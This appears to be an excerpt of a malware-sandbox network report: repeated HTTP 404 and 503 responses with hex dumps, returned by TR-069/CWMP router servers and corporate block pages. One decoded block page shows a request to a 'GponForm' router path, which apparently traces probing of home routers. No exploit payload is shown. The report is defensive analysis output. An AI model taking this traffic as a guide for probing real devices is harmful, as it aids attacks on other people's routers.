Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: MON APR 15 09:52:45 2024Server: cwmp serverConnection: closeContent-Length: 14Content-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: MON APR 15 09:52:46 2024Server: cwmp serverConnection: closeContent-Length: 14Content-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48X-XSS-Protection: 1;mode=blockContent-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval'X-Content-Type-Options: nosniffCONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Mon, 15 Apr 2024 14:52:11 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableConnection: closeContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:52:48 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:52:49 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Mon, 15 Apr 2024 02:54:59 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 1485Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 50 52 41 47 4d 41 22 20 43 4f 4e 54 45 4e 54 3d 22 4e 4f 2d 43 41 43 48 45 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 20 20 23 63 6f 6e 74 65 6e 74 20 7b 0d 0a 20 20 20 20 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 23 61 61 61 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 31 2e 35 65 6d 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 31 2e 35 65 6d 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 3b 0d 0a 20 20 7d 0d 0a 20 20 68 31 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 33 65 6d 3b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 31 39 36 33 39 30 3b 0d 0a 20 20 7d 0d 0a 20 20 62 20 7b 0d 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 0d 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 31 39 36 33 39 30 3b 0d 0a 20 20 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 68 69 6f 68 65 61 6c 74 68 2e 63 6f 6d 2f 73 69 74 65 61 73 73 65 74 73 2f 67 6c 6f 62 61 6c 2f 6f 68 5f 6c 6f 67 6f 5f 62 6c 75 65 2d 32 30 30 78 35 32 2e 70 6e 67 22 3e 0d 0a 3c 68 31 3e 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 79 6f 75 20 77 65 72 65 20 74 72 79 69 6e 67 20 74 6f 20 76 69 73 69 74 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 63 6f 6d 70 61 6e 79 20 70 6f 6c 69 63 79 2e 3c 2f 70 3e 0d 0a 3c 70 3e 3c 62 3e 55 73 65 72 3a 3c 2f 62 3e 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 20 3c 2f 70 3e 0d 0a 3c 70 3e 3c 62 3e 55 52 4c 3a 3c 2f 62 3e 20 31 36 35 2e 31 37 31 2e 32 34 30 2e 32 33 34 2f 47 70 6f 6e 46 6f 72 6d 2f 64 69 61
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: micro_httpdDate: Mon, 15 Apr 2024 06:52:52 GMTConnection: keep-aliveKeep-Alive: timeout=60, max=1000Content-Type: text/htmlX-Frame-Options: sameoriginX-XSS-Protection: 1X-Content-Type-Options: nosniffContent-Security-Policy: default-src 'self'; frame-ancestors 'self'Content-length: 126Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 48 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 32 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: <HTML><HEAD><TITLE>Document Error: Not Found</TITLE></HEAD><BODY><H2>Access Error: 404 -- Not Found</H2></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:52:57 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 11:52:58 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:52:57 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 11:52:58 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:52:57 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:52:58 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 